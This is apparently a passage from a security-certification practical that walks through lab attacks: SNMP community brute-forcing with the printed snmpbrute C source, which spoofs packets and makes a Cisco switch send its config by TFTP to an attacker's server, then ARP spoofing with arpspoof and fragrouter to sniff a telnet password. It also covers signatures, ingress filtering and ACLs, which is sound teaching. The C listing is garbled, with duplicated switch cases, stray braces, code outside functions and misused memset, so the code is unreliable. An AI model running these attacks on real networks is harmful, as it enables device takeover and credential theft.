Mode 1 is for when you have read access. It sends an snmp packet that sets system.sysLocation.0 to the community its guessing. If it succeeds the sysLocation will be the write community, but you need read access to see it :]

Mode 2 is for when you don’t have read access. It tells the router to upload its config file to a tftpserver (specified on the command line)
** This mode only works on Ciscos! **
```
Mode 2 is a handy feature that provides the correct OIDs to have the Cisco device tftp its running config to a specified tftpserver. Let’s take a look at the SnmpBrute code;

`/*
  snmpbrute v0.3 by Aidan O'Kelly ( aidan.ok@oceanfree.net )
  
  Seems like this could be a very useful piece of code..
  // I made a few changes...
  // compile flags:
  //   cc -Wall -O2 -s -o snmpbrute snmpbrute.c
  //
  // Tested on Slack 7.3.x Linux-2.2.19 glibc-2.2.3
  // gcc version 2.95.3 20010315 (release)
  // I gave it a try on a FreeBSD, most of the errors were in
  // the function sendudp() iphdr related...
  // Jul 22 2001
  // --solarx

  Thanks to solarx who fixed some bugs that was stopping it
  being compiled on newer systems.

  I'd welcome feedback on this

  The code itself is kinda messy. So dont start sending back
  comments on that. But if you have anything to say about the
  idea, please do. Also if you manage to h4k0r a router, drop me
  a mail, since I have done no testing in the wild, only on HP
  Printers and a 3com switch. (and i got a friend to test it on
  a Cisco, it does work!)

  Sends snmp packets to a router, in an attempt to find out the
  rw community Its basically a very fast snmp brute forcer. Since
  it doesnt need to wait for a response, it can guess communitys
  very fast, as fast you can send packets, (or as fast as the
  router can receive them) This is thanks to snmp using udp :]

  Mode 1 is for when you have read access. It sends an snmp
  packet that sets system.sysLocation.0 to the community its
  guessing. If it succeed. The sysLocation will be the write
  community, but you need read access to see it :]

  Mode 2 is for when you dont have read access. It tells the
  router to upload its config file to a tftpserver (specified on
  the command line) ** This mode only works on Ciscos! **

  -D is delay in miliseconds. dont set this too low, or the
  router will drop some of the packets. Although I think, if
  your sending packets across the 'net, theres not much chance
  of this. even if delay looww. its 100 by default

  This was compiled on a slackware 3.6 system. On some other
  linux systems the ip_udp.h file is in a different place( linux/udp.h? ) so you'll have to change it if you get errors
  about it
  */`
/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>

#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>

#ifdef OLD_LINUX
#include <netinet/ip_udp.h>
#else
#include <netinet/udp.h>
#endif
#define pexit(a,b) fprintf(stderr, "%s: %s\n", a, b),
exit(EXIT_FAILURE)

char *makesetreq(char *community, char *value, char *mib, int mibsize,
                 unsigned long id, int *size);
int makemibaddr(char *addr, char *buf);
unsigned short in_cksum(addr, len)
unsigned short *addr;
int len;
{
    register int nleft = len;
    register u_short *w = addr;
    register int sum = 0;
    u_short answer = 0;

    while (nleft > 1) {
        sum += *w++;
        sum += *w++;
        nleft -= 2;
    }
    if (nleft == 1) {
        *(u_char *) (&answer) = *(u_char *) w;
        sum += answer;
    }
    sum = (sum >> 17) + (sum & 0xffff);
    sum += (sum >> 17);
    answer = -sum;
    return (answer);
/* function to send a simple UDP packet */

void sendudp(int sock, unsigned long *saddr, unsigned long *daddr,
             unsigned int sport, unsigned int dport, char *data,
             int len)
{
    char *packet;
    int ret;
    struct sockaddr_in dstaddr;
    struct iphdr *ip;
    struct udphdr *udp;
    packet = (char *) malloc(sizeof(struct iphdr) + sizeof(struct udphdr) + len);
    memset(packet, 0, sizeof(struct iphdr) + sizeof(struct udphdr) + len);
    if (packet == NULL) {
        fprintf(stderr, "Malloc failed\n");
        exit(EXIT_FAILURE);
    }
    ip = (struct iphdr *) packet;
    udp = (struct udphdr *) (packet + sizeof(struct iphdr));
    ip->saddr = *saddr;
    ip->daddr = *daddr;
    ip->version = 4;
    ip->ihl = 5;
    ip->ttl = 255;
    ip->id = htons((unsigned short) rand());
    ip->protocol = IPPROTO_UDP;
    ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + len);
    ip->check = in_cksum(ip, sizeof(struct iphdr));
    udp->source = htons(sport);
    udp->dest = htons(dport);
    udp->len = htons(sizeof(struct udphdr) + len);
    memcpy(packet + (sizeof(struct iphdr) + sizeof(struct udphdr)), data,
           len);
    dstaddr.sin_family = AF_INET;
    dstaddr.sin_addr.s_addr = *daddr;
    ret = sendto(sock, packet,
                 sizeof(struct iphdr) + sizeof(struct udphdr) +
                 len, 0,
                 (struct sockaddr *) &dstaddr, sizeof(struct sockaddr_in));
    free(packet);
}

char *nextword(char *buf)
{
    char *tmp;
    tmp = buf + strlen(buf);
    tmp++;
    return tmp;
}
int erexit(char *msg)
{
    printf("%s\n", msg);
    exit(EXIT_FAILURE);
}

void usage()
{
    printf
    ("Usage: ./snmpbrute <-s source> <-d dest> <-w wordlist> [-m mode] [-t tftpserver] [-D delay]\n");
}

int main(int argc, char **argv)
{
    struct stat finfo;
    int i, ret, wordcount, wordfilesize, fd, mode, delay,
    mibsize, t;
    char a[1];
    unsigned char mib[60];
    unsigned char tmpmib[9];
    unsigned char *buf;
    char value[60];
    int size;
    unsigned long id;
    int sock;
    unsigned long lsaddr, ldaddr;

    saddr = NULL;
    daddr = NULL;
    wordfile = NULL;
    delay = 200;
    mode = 1;

    if (argc < 7) {
        usage();
        erexit("not enough args\n");
    }

    while ((i = (int) getopt(argc, argv, "s:d:t:w:m:D:hv")) != EOF) {
        switch (i) {
            case 'h':
                printf("\t-h Print this help and exit.\n");
                printf("\t-v Print version and exit.\n");
                break;
            case 'v':
                printf("%s compiled %s\n", __FILE__, __DATE__);  
                exit(EXIT_SUCCESS);
            case 's':
                saddr = strdup(optarg);
                break;
            case 'd':
                daddr = strdup(optarg);
                break;
            case 't':
                tftpserver = strdup(optarg);
                break;
            case 'w':
                wordfile = strdup(optarg);
                break;
            case 'm':
                mode = atoi(optarg);
                break;
            case 'D':
                delay = atoi(optarg);
                break;
            case 't':
                tftpserver = strdup(optarg);
                break;
            case 'h':
                printf("%s compiled %s\n", __FILE__, __DATE__);  
                exit(EXIT_SUCCESS);
            default: break;
        }
    }

    return 0;
}
break;
case 'w':
    wordfile = strdup(optarg);
    break;
case 'm':
    mode = atoi(optarg);
    break;
case 'D':
    delay = atoi(optarg);
    break;
case '?':
default:
    break;
}

printf("Ok, spoofing packets from %s to %s with wordlist %s
",
saddr, daddr, wordfile, delay);
if (mode > 1) {
    printf("TFTP Address:%s\n", tftpserver);
    if (inet_addr(tftpserver) == (-1)) {
        erexit("Invalid TFTP address\n");
    }
}

if (((inet_addr(saddr) == (-1)) || (inet_addr(daddr) == (-1)))) {
    erexit("Invalid source/destination IP address\n");
}

if (((saddr == NULL) || (daddr == NULL) || (wordfile == NULL)) {
    usage();
    fprintf(stderr, "No %s"s%s%s", (saddr == NULL ? "Source/"
: ""),
            (daddr == NULL ? "Dest/" : ""),
            (wordfile == NULL ? "Wordlist" : ""));
    exit(EXIT_FAILURE);
}

wordcount = 0;
if (((fd = open(wordfile, O_RDONLY)) < 0)
    perror("open", wordfile);
if (stat(wordfile, &finfo) == (-1))
    perror("stat", wordfile);
wordfilesize = (int) finfo.st_size;
printf("Size is %d\n", wordfilesize);
words = (char *) malloc(wordfilesize);
for (i = 0; i < wordfilesize; i++) {
    ret = read(fd, &a, 1);
    if (ret == 1) {
        if (a[0] == '\n') {
            a[0] = 0x00;
            wordcount++;
            break;
        }
    }
}
memcpy(words + i, a, 1);
} else {
    printf("Read returned \%d\n", ret);
    break;
}
}

close(fd);
printf("Read %d words/lines\n", wordcount);
ptr = words;

mibsize = 8;
memcpy(mib, "\x2b\x06\x01\x02\x01\x01\x06\x00", mibsize);

memset(tmpmib, 0, 9);
if (mode == 2) {
    mibsize = 9;
    memset(mib, "\x2b\x06\x01\x04\x01\x09\x02\x01\x37", mibsize);
    t = makemibaddr(tftpserver, tmpmib);
    memcpy(mib + mibsize, tmpmib, t);
    mibsize = mibsize + t;
}

sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (sock == (-1))
    erexit("Couldnt open Raw socket!!\n");

strcpy(value, "running-config");
lsaddr = inet_addr(saddr);
dladdr = inet_addr(daddr);

for (i = 0; i < wordcount; i++) {
    if (mode == 1) {
        strcpy(value, ptr);
    } else {
        id = rand();
        buf = makesetreq(ptr, value, mib, mibsize, id, &size);
        sendudp(sock, &lsaddr, &dladdr, 53, 161, buf, size);
        ptr = nextword(ptr);
        fflush(stderr);
        fprintf(stderr, "Sent %d packets\r", i);
        usleep(delay);
    }
}
free(words);
return 0;

char *makesetreq(char *community, char *value, char *mib, int mibsize,
                 unsigned long id, int *size)
{
    char *buf;
    char *ptr;
    int len;
len = 27 + strlen(community) + strlen(value) + mibsize;
buf = (char *) malloc(len + 2);
ptr = buf;

*ptr++ = 0x30;
*ptr++ = len;

/* Snmp Version */
*ptr++ = 0x02;
*ptr++ = 0x01;
*ptr++ = 0x00;

/* Community */
*ptr++ = 0x04;
*ptr++ = strlen(community);
strcpy(ptr, community);
ptr = ptr + strlen(community);

*ptr++ = 0xa3; /* Set Request */
*ptr++ = 20 + mibsize + strlen(value);

/* ID */
*ptr++ = 0x02;
*ptr++ = 0x04;
memcpy(ptr, &id, 4);
ptr = ptr + 4;

/* Error Status */
*ptr++ = 0x02;
*ptr++ = 0x01;
*ptr++ = 0x00;

/* Error Index */
*ptr++ = 0x02;
*ptr++ = 0x01;
*ptr++ = 0x00;

*ptr++ = 0x030;
*ptr++ = mibsize + strlen(value) + 6;

*ptr++ = 0x030;
*ptr++ = mibsize + strlen(value) + 4;

*ptr++ = 0x06; /* Object */
*ptr++ = mibsize;
memcpy(ptr, mib, mibsize);
ptr = ptr + mibsize;

*ptr++ = 0x04; /* String */
*ptr++ = strlen(value);
memcpy(ptr, value, strlen(value));

*size = len + 2;
return buf;
}
int makemibaddr(char *addr, char *buf)
{
    int a, b, c, d, x, y, size;
    char *ptr;
    char *ptr2;
    ptr = strdup(addr);
    size = 4;
    ptr2 = (char *) strchr(ptr, '.');
    *ptr2++ = 0x0;
    a = atoi(ptr);
    ptr = ptr2;
    ptr2 = strchr(ptr, '.');
    *ptr2++ = 0x0;
    b = atoi(ptr);
    ptr = ptr2;
    ptr2 = strchr(ptr, '.');
    *ptr2++ = 0x0;
    c = atoi(ptr);
    ptr = ptr2;
    d = atoi(ptr);
    memset(buf, 0, 8);
    ptr = buf;
    printf("Address of tftp server is %d.%d.%d.%d\n", a, b, c, d);
    if (a >= 128) {
        x = 129;
        y = a - 128;
        *ptr++ = x;
        *ptr++ = y;
        size++;
    } else {
        *ptr++ = a;
    }
    if (b >= 128) {
        x = 129;
        y = b - 128;
        *ptr++ = x;
        *ptr++ = y;
        size++;
    } else {
        *ptr++ = b;
    }
    if (c >= 128) {
        x = 129;
        y = c - 128;
        *ptr++ = x;
        *ptr++ = y;
        size++;
    } else {
        *ptr++ = c;
    }
    if (d >= 128) {
        x = 129;
        y = d - 128;
        *ptr++ = x;
        *ptr++ = y;
size++;
} else {
    *ptr++ = d;
} return size;

Here is the tool in action:

```
[geoff@BigPig1 geoff]$ su -
Password:
[geoff@BigPig1 root]# cd /home/geoff/snmp
[geoff@BigPig1 snmp]# ls
dict  snmpbrute-fixedup.c  snmpscan-0.05.tar
snmpatempt.jpg  Snmpd-1.0.1.tar.gz  snmpsniff-0.9b.tar.gz
snmpbrute  snmpscan-0.05  snmpsniff-1.0.tar.gz
[geoff@BigPig1 snmp]# ./snmpbrute -s 132.4.128.1 -d 4,4,4,2 -w dict -n 2 -t 2.2.2.132
Ok, spoofing packets from 132.4.128.1 to 4,4,4,2 with wordlist dict (Delay: 200)
TFTP Address:2.2.2.132
Size is 13
Read 2 words/lines
Address of tftp server is 2.2.2.132
[geoff@BigPig1 snmp]#
```

As seen in this screen shot you can specify the source that you would like to send with the –s option. From the attackers point of view, spoofing is always a good idea, but you will need to have a valid IP for the TFTP server, which is specified with the –t option, when you also specify the mode (-m 2). Granted, if you wanted to be super stealthy you can send the TFTP to a machine that does not actually exist as long as the attacker controls a machine that in somewhere in the path. Since this network wasn’t logging SNMP events it’s probably more than is really needed. The most important flags that need to be specified are the –d option which specifies the destination and the –w flag that calls to a file which holds the community string names that you want to try.

The TFTP server was a free tool as well that we downloaded from www.downloads.com. TFTP32, worked great as a TFTP server as up can see in the screen shot below.
The last part of the attack is to change the VLAN of the wireless AP point and to upload the new running config.

Here is the config we downloaded:

```plaintext
version 12.0
no service pad
service timestamps debug uptime
service timestamps log uptime
service password-encryption
!
hostname GCIH_3524
!
enable secret 5 $1$lpJy.$/1TpyGBiZyKMDLC.iyBSh/
!
ip subnet-zero
no ip domain-lookup
ip host GCIH_3524 4.4.4.2
ip host GCIH_6509 1.1.1.1 2.2.2.1 3.3.3.1 4.4.4.1
!
interface FastEthernet0/1
duplex full
```
speed 100
switchport trunk encapsulation dot1q
switchport mode trunk
!
interface FastEthernet0/2
duplex full
speed 100
switchport access vlan 2
!
interface FastEthernet0/3
duplex full
speed 100
switchport access vlan 3

----CUT----
interface VLAN1
description Management
ip address 4.4.4.2 255.255.255.0
no ip directed-broadcast
no ip route-cache
!
interface VLAN2
description Wireless
ip address 2.2.2.2 255.255.255.0
no ip directed-broadcast
no ip route-cache
shutdown
!
interface VLAN3
description Secure
ip address 3.3.3.2 255.255.255.0
no ip directed-broadcast
no ip route-cache
shutdown
!
ip default-gateway 4.4.4.1
snmp-server engineID local 00000009020000049A262580
snmp-server community gcih132 RW
snmp-server community gcih RO
snmp-server location gcih132

Here is what we changed:

interface FastEthernet0/2
duplex full
speed 100
switchport access vlan 3

This screen shot depicts the uploading of the new code to the Cisco via the snmpset command. We then downloaded it again to make sure that the changed
was accepted.

Looking at the above screen shot you can see how we uploaded the code using the snmpset command and the correct OID. Also, you can see that we downloaded the code again, but this time to a different IP for the TFTP server, to verify that we had changed to port 2 on the switch to “switchport access vlan 3”. And we did 😊

Protocol Description

SNMP (Simple Network Management Protocol) is an asymmetric protocol that runs between a management station and an agent.

“The agent is the device being managed - all its software has to do is implement a few simple packet types and a generic get-or-set function on its MIB variables. The management station presents the user interface. Simple management stations can be built with UNIX command-line utilities. More complex (and expensive) ones collect MIB data over time and use GUIs to draw network maps” (Internet Encyclopedia).
This protocol typically runs over UDP port 161 and 162 however it is possible to run it over TCP, thou it is rarely done in the wild. The RFCs that describe SNMP vary based on version; version 1, RFC 1157, version 2, RFC 1902 (MIB Structure), RFC 1903 (Textual Conventions), RFC 1904 (Conformance Statements), RFC 1905 (Protocol Operations), RFC 1906 (Transport Mappings), RFC 1907 (MIB) . (Internet Encyclopedia)

Connected: An Internet Encyclopedia has a great explanation of the SNMP PDU’s: (http://www.freesoft.org/CIE/Topics/108.htm)

“An SNMP operation takes the form of a Protocol Data Unit (PDU), basically a fancy word for packet. Version 1 SNMP supports five possible PDUs:

- **GetRequest / SetRequest** supplies a list of objects and, possibly, values they are to be set to (SetRequest). In either case, the agent returns a GetResponse.

- **GetResponse** informs the management station of the results of a GetRequest or SetRequest by returning an error indication and a list of variable/value bindings.

- **GetNextRequest** is used to perform table transversal, and in other cases where the management station does not know the exact MIB name of the object it desires. GetNextRequest does not require an exact name to be specified; if no object exists of the specified name, the next object in the MIB is returned. Note that to support this, MIBs must be strictly ordered sets (and are).

- **Trap** is the only PDU sent by an agent on its own initiative. It is used to notify the management station of an unusual event that may demand further attention (like a link going down). In version 2, traps are named in MIB space. Newer MIBs specify management objects that control how traps are sent” (Internet Encyclopedia).
This is what a legitimate SNMP set request looks like in a modified TCPDUMP packet:

```
19:39:27.302160 Starscreem.GCIH.arizona.edu.32787 > 4.4.4.2.snmp:
[udp sum ok]
Version: |30|3d|02|01{ SNMPv2c
Community: |04|07C=gcih132
SNMP PDU |a3|2f{ SetRequest(47) |02|01|02|01|30|21|30|1f|06|0d.iso.org.dod.internet.private.9.2.1.50.2.2.
         |04|0e"running-config"}
0x0000 4500 005b 0000 4000 4011 2e0b 0202 0280E..
0x0010 0404 0402 8013 00a1 0047 1fee 303d 0201.........G..0=..
0x0020 0104 0767 6369 6831 3332 a32f 0204 7d9b...gcih132./..}
0x0030 8b6b 0201 0002 0100 3021 301f 060d 2b06 ........0!0...
0x0040 0104 0902 0132 0202 0281 0404 0e72 756e.....2.......run
0x0050 6e69 6e67 2d63 6f6e 6669 67            ning-config
```

**Signature of the Attack**

The SnmpBrute tool does have a signature that is fairly easy to spot. As with most of these types of signatures it would be trivial to upgrade this code to make the traffic appear more legitimate. A few things stick out when we are looking at the traffic generated by this tool (Please see the TCPDUMP output below). The spoofed source port 132.4.128.1. **domain** and the lack of a checksum [no cksum] are definitely caused for alarm.

```
19:34:54.772160 132.4.128.1. **domain** > 4.4.4.2.snmp: [no cksum] 12350
[b263=0x201] [1895a] [4q] [25449n] [26673au] [domain] (ttl 255, id 9158, len 92)
0x0000 4500 005c 23c6 0000 ff11 8bbf 8404 8001 E..\#........
0x0010 0404 0402 0035 00a1 0048 0000 303e 0201 5...H..0...
0x0020 0004 0767 6369 6831 3332 a330 0204 7d9b ...gcih132.0/
0x0030 8be6 0201 0002 0100 3021 301f 060d 2b06 ....0!0...+
0x0040 0104 0109 0101 0201 3702 0202 0281 0404 0e72 756e 2.......ru
0x0050 6e69 6e67 2d63 6f6e 6669 67            ning-config
```

Compare the TCPDUMP out from the legitimate SNMP set_request and the snmpbrute TFTP request. The second packet has definitely been crafted. It is missing many of the fields that SNMP uses and the TTL is set to 255 instead of...
One of the joys (if you are an attacker) of SNMP is its ability to be spoofed, making it hard to track down the perpetrators. Signatures that look for default community string names are always a great way to double check our own network security. Just in case a machine gets reset to its default config or if an overworked network administrator forgets to change the default community string names.

**How to Protect Against It**

To protect your network from SNMP attacks are *BLOCK AT THE BORDER*. There is hopefully no reason why someone would need to remotely configure your devices using SNMP. However, in the case where it is absolutely needed there are a few things we can do to help tighten up this protocol. With the recent SNMP vulnerabilities hitting the lists CERT has posted a list of SNMP Ingress Filters.

*Ingress filtering*

As a temporary measure, it may be possible to limit the scope of these vulnerabilities by blocking access to SNMP services at the network perimeter.

Ingress filtering manages the flow of traffic as it enters a network under your administrative control. Servers are typically the only machines that need to accept inbound traffic from the public Internet. In the network usage policy of many sites, there are few reasons for external hosts to initiate inbound traffic to machines that provide no public services. Thus, ingress filtering should be performed at the border to prohibit externally initiated inbound traffic to non-authorized services. For SNMP, ingress filtering of the following ports can prevent attackers outside of your network from impacting vulnerable devices in the local network that are not explicitly authorized to provide public SNMP services.

```
snmp  161/udp  # Simple Network Management Protocol (SNMP)
snmp  162/udp  # SNMP system management messages

The following services are less common, but may be used on some affected products
```

```
snmp  161/tcp  # Simple Network Management Protocol (SNMP)
snmp  162/tcp  # SNMP system management messages
smux  199/tcp  # SNMP Unix Multiplexer
smux  199/udp  # SNMP Unix Multiplexer
synoptics-relay  391/tcp  # SynOptics SNMP Relay Port
```
SNMP version 1 does not support any type of encryption, which is the most common complaint concerning the protocol because it can be easily sniffed. (Granted we went about it the hard way in our attack but it was more fun that way.) Upgrading to version 2 or 3 is recommended to provide authentication and encryption. Few people who are using SNMP are using a version higher than 1. Version 2 supports encryption but it is not very easy to implement and version 3 is not widely supported by vendors making upgrading a challenging task. If you require SNMP to configure our devices then it is worth the effort to at least look into the possibilities of upgrading.

If you are running in a Cisco environment you can place an ACL on community string name and upgrade to version 2 with little difficulty. Placing an ACL on the community string name gives you the ability to log SNMP connection attempts to various the community string names that you have applied, letting you know if someone already has your strings. To place an ACL on the Community string follow the sample config below.

```
logging 4.4.4.132
access-list 99 permit 4.4.4.132
access-list 99 deny any log
*this will let you know if someone has your Community string name but came from the wrong address.
snmp-server community gcih123 RW 99
snmp-server community gcih RO 99
snmp-server community SNMPv2c view v1default RO
snmp-server host 4.4.4.132 trap SNMPv2c
```

Community string length or difficulty such as names that have special characters and upper case are harder to brute force. But if you haven’t upgraded to version 2 or 3 and applied encryption then it may be a fruitless effort, as it can be easily sniffed.

---

**Exploit #3: ArpSpoof & Sniffing in a Switched Network**
Description of the Attack

Before we start getting into ArpSpoofing and how to sniff on a switched network let me make this disclaimer… MAKE SURE YOU HAVE TURNED ON ROUTING A fantastic way to DOS your local LAN is to Arpspoof the gateway and forget to turn on routing. The best tool that I found perform the routing function is called fragrouter. Fragrouter, written by Doug Song, is a tool that can be used to fragment traffic in an attempt to bypass packet filtering devices. Plus, as an added feature it will also do normal routing. Fragrouter is easy to set up and simple to use (practically a windows application). Here are the options available for fragrouter:

[root@BigPig1 root]# fragrouter
Version 1.6

where ATTACK is one of the following:

-B1: base-1: normal IP forwarding
-F1: frag-1: ordered 8-byte IP fragments
-F2: frag-2: ordered 24-byte IP fragments
-F3: frag-3: ordered 8-byte IP fragments, one out of order
-F4: frag-4: ordered 8-byte IP fragments, one duplicate
-F5: frag-5: out of order 8-byte fragments, one duplicate
-F6: frag-6: ordered 8-byte fragments, marked last frag first
-F7: frag-7: ordered 16-byte fragments, fwd-overwriting
-T1: tcp-1: 3-whs, bad TCP checksum FIN/RST, ordered 1-byte segments
-T3: tcp-3: 3-whs, ordered 1-byte segments, one duplicate
-T4: tcp-4: 3-whs, ordered 1-byte segments, one overwriting
-T5: tcp-5: 3-whs, ordered 2-byte segments, fwd-overwriting
-T7: tcp-7: 3-whs, ordered 1-byte segments, interleaved null segments
-T8: tcp-8: 3-whs, ordered 1-byte segments, one out of order
-T9: tcp-9: 3-whs, out of order 1-byte segments
-C2: tcbc-2: 3-whs, ordered 1-byte segments, interleaved SYNs
-C3: tcbc-3: ordered 1-byte null segments, 3-whs, ordered 1-byte segments
-R1: tcbt-1: 3-whs, RST, 3-whs, ordered 1-byte segments
-I2: ins-2: 3-whs, ordered 1-byte segments, bad TCP checksums
-I3: ins-3: 3-whs, ordered 1-byte segments, no ACK set

It even has a well written MAN page, simply a great tool! Fragrouter can be downloaded at several mirrors but is also located at www.packetstormsecurity.com. Later I will show you a screen shot of Fragrouter in action, but for now let’s return to ArpSpoofing.
ArpSpoofing consists of broadcasting an “arp reply” to the LAN that states that the MAC address of your machine resolves to the IP of your choosing. Usually that particular IP is the default gateway. The Arp Replies generated by ArpSpoof look like this:

```
[root@Red72 dsniff-2.4]# ./arpspoof -i eth0 -t 3.3.3.128 3.3.3.1
0:3:ff:89:e7:cc 0:b0:d0:e9:57:c8 0806 42: arp reply 3.3.3.1 is-at 0:3:ff:89:e7:cc
0:3:ff:89:e7:cc 0:b0:d0:e9:57:c8 0806 42: arp reply 3.3.3.1 is-at 0:3:ff:89:e7:cc
0:3:ff:89:e7:cc 0:b0:d0:e9:57:c8 0806 42: arp reply 3.3.3.1 is-at 0:3:ff:89:e7:cc
```

This is the ifconfig information from my Virtual PC Redhat 7.2 host that actually preformed the exploit.

```
eth0   Link encap:Ethernet  HWaddr 00:03:FF:89:E7:CC
inet addr:3.3.3.130  Bcast:3.3.3.255  Mask:255.255.255.0
  UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
RX packets:259490 errors:0 dropped:0 overruns:0 frame:0
TX packets:257683 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:25546645 (24.3 Mb)  TX bytes:25342078 (24.1 Mb)
  Interrupt:11 Base address:0x1000
```

Notice the hardware address of my VPC guest, 00:03:FF:89:E7:CC, it is the MAC address that arpspoof is telling the host at 0:b0:d0:e9:57:c8 (which is the target of the attack) resolves to 3.3.3.1. However, if we do an "arp" on the host before we began arpspoofing we get a different MAC for 3.3.3.1:

```
[root@BigPig1 root]# arp
Address HWtype HWaddress Flags Mask Iface
3.3.3.1 ether 00:80:3E:74:36:E4 C            eth0
3.3.3.130 ether 00:40:96:35:E7:CC C         eth0
Laptop_GCIH ether 00:40:96:35:E7:CC C        eth0
```

The other Mac address that you see is from the Cisco Aironet Wireless card in my Laptop. Virtual PC actually assigns a separate MAC address to each of it’s virtual hosts. This is probably a good time to discuss VPC and how we used it to help implant these attacks.

In our class with Ed Skoudis he restated a quote that he heard at a DefCon conference, “Netcat is your friend”. Well I have a new one, “Virtual PC is your friend!!”. Virtual PC is a product of Connectix (http://www.connectix.com/). It allows you to implement several different guest operating systems on one host operating system. VPC has the capability (in their 4.3 beta release) to work with the wireless adaptor. This has an interesting byproduct of being able to do limit sniffing on the wireless adaptor. VPC creates a virtual adaptor that the guest OS relates to. This guest adaptor is a standard DEC Ethernet card that just about every thing in the world supports. So when I install Tcpdump on my guest OS I can pick up broadcasts that my Wireless card
receives. This does not put the Wireless card in promiscuous mode, but broadcasts are still quite useful for network discovery.

Fragrouter, which I praised up and down a few paragraphs ago, does have one intentional drawback. It will not forward packets generated by the machine it is running on. VIRTUAL PC TO THE RESCUE!!! We did not need to forward packets for this particular attack because we were only sniffing. In the event that we did need to forward traffic through fragrouter, VPC could solve fragrouters’ little problem. By running Fragrouter on a separate guest operating system I can run my attacks in yet another guest operating system and push them through fragrouter. Yes, Virtual PC is my friend 😊.

For the attack that we are discussing, ArpSpoofing, I used a Virtual PC guest running Red Hat 7.2 on my Windows 2000 host operating system. The following is a screen shot of what desktop looked like:

On the Red Hat 7.2 VPC I ran 3 tools; TCPDUMP, Fragrouter, and ArpSpoof. TCPDUMP can be downloaded at www.tcpdump.org, Fragrouter can be downloaded from packetstormsecurity.com and ArpSpoof is one of the many tools that comes with Dsniff and can be downloaded at http://www.monkey.org/~dugsong/dsniff/.
As I mentioned earlier, if you don’t have some type of routing engine turned on before you run Arp Spoof then you get a great DOS of your local LAN. Fragrouter was our tool of choice for this particular function. The following is what the tool displays when in normal traffic forwarding mode:

![Fragrouter output](image)

Fragrouter does do normal routing with the –B1 option. You can see in the above screen shot that we run “Fragrouter –i eth0 –B1” to achieve normal IP forwarding. You can also see that we routed traffic from 3.3.3.128 to 4.4.4.4. But why did 3.3.3.128 route its traffic through fragrouter? The answer, is that wonderful tool called Arp Spoof!

Arp Spoof, as we have already discussed, broadcasts arp replies that redirect the target or the entire LAN to the machine of your choosing. The following is the output displayed by the Arp Spoof tool:
Notice that we used the –t option in our attack. Using a –t lets you specify a target that you wish to redirect. ArpSpoof does an arp request for the target IP address to get the MAC of the victim. If you use this tool without the –t it will broadcast your arp replies to the entire LAN. I do not suggest this course of action unless you have one heck of a system running Fragrouter. The LAN segment degradation is quite noticeable and on a busy LAN you will most likely drop the packets that are significant to your attack. Does it sound like I am speaking from experience? Yes, that would be true. The 1st time we ran this attack we tried it with the default broadcast option and fragrouter drowned in the traffic. This may also be one of the disadvantages to using a tool like VPC.

The final portion of this attack is the Tcpdump capture of the sniffed password. While we could have used a much more fun tool like dsniff to capture the packets, I always seem to find Tcpdump to be much more informative. Must be the network engineer in me 😊. Below is the command that we used to create the packet capture.
Here is the TCPDUMP output of that telnet conversation or actually only the half that we were able to capture.

```
01:15:29.846342 3.3.3.128.32778 > 4.4.4.4.telnet: P 51:52(1) ack 91 win 5840 (DF) [tos 0x10]
0x0000  4510 0029 3bb0 4000 4006 f086 0303 0380 E..);.0........
0x0010  0404 0402 800a 0017 5ced d96c 7c4c 2055 ........\..|L.U
0x0020  5018 16d0 c355 0000 7400 0000 0000  P....U...t.....
---Cut-----
01:15:30.056342 3.3.3.128.32778 > 4.4.4.4.telnet: P 52:54(2) ack 91 win 5840 (DF) [tos 0x10]
0x0000  4510 002a 3bb2 4000 4006 f083 0303 0380 E..*;.@.0.....
0x0010  0404 0402 800a 0017 5ced d96d 7c4c 2055 ........\..m|L.U
0x0020  5018 16d0 d1e7 0000 656c 0000 0000  P.....el....
---Cut---
01:15:30.256342 3.3.3.128.32778 > 4.4.4.4.telnet: P 54:56(2) ack 91 win 5840 (DF) [tos 0x10]
0x0000  4510 002a 3bb3 4000 4006 f083 0303 0380 E..*;.@.0.....
0x0010  0404 0402 800a 0017 5ced d96f 7c4c 2055 ........\..o|L.U
0x0020  5018 16d0 c8ec 0000 6e65 0000 0000  P.....ne....
---Cut---
01:15:30.466342 3.3.3.128.32778 > 4.4.4.4.telnet: P 56:59(3) ack 91 win 5840 (DF) [tos 0x10]
0x0000  4510 002b 3bb4 4000 4006 f080 0303 0380 E..*;.@.0.....
0x0010  0404 0402 800a 0017 5ced d971 7c4c 2055 ........\..q|L.U
0x0020  5018 16d0 c341 0000 7400 0000 0000  P....A..t.....
```

I have eliminated irrelevant portions from the 168 packet dump as well as dropping the username information. What we do see in the above capture is the password `telnet`.

Now, all we have left to do is telnet to the machine, hope the admin uses the same username and password everywhere and finally login as her.

**Protocol Description**

ARP or Address Resolution Protocol was designed to create a link between layer 2 (Media Access Control) and layer 3 (IP) of the OSI model.

“The Ethernet address is a link layer address and is dependent on the interface card which is used. IP operates at the network layer and is not concerned with the network addresses of individual nodes which are to be used. A protocol known as the address resolution protocol (arp) is therefore used to translate between the two types of address. The arp client and server processes operate on all computers using IP over Ethernet. The processes are normally implemented as part of the software driver which drives the network interface card.

There are four types of arp messages which may be sent by the arp protocol. These are identified by four values in the "operation" field of an arp message. The types of message are:

1. ARP request
2. ARP reply
3. RARP request
4. RARP reply

The format of an arp message is shown below:

<table>
<thead>
<tr>
<th>0</th>
<th>8</th>
<th>16</th>
<th>24</th>
<th>32</th>
</tr>
</thead>
<tbody>
<tr>
<td>Hardware Type</td>
<td>Protocol Type</td>
<td>HLEN</td>
<td>PLEN</td>
<td>Operation</td>
</tr>
<tr>
<td>Sender HA (octets 0-3)</td>
<td>Sender IP (octets 0-1)</td>
<td>Sender IP (octets 2-3)</td>
<td>Target HA (octets 2-5)</td>
<td>Target IP (octet 0-6)</td>
</tr>
</tbody>
</table>

(Gorry Fairhurst: http://www.erg.abdn.ac.uk/users/gorry/course/inet-pages/arp.html)

Arp is actually a layer 3 protocol that is encapsulated into the Ethernet frame. Let’s break down an actual Arp Reply:

